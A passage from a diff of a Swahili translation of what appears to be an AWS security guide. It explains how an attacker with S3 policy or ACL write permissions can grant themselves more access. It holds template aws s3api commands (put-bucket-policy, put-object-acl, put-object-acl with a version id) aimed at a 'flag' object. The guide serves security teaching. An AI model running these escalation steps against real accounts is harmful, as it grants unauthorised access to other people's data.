hairuhusiwi itachochewa`, kwa ruhusa hii atakuwa na uwezo wa kujipa ruhusa zaidi juu ya bucket(s) akimruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -138,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Mshambuliaji anaweza kutumia ruhusa hizi kuongeza ufikiaji wake juu ya vitu maalum ndani ya makundi. +Mshambuliaji anaweza kutumia ruhusa hizi kumpatia ufikiaji zaidi juu ya vitu maalum ndani ya makundi. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -165,7 +178,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Mshambuliaji mwenye haki hizi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo maalum la kitu. +Mshambuliaji mwenye ruhusa hizi anatarajiwa kuwa na uwezo wa kuweka Acl kwa toleo maalum la kitu. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json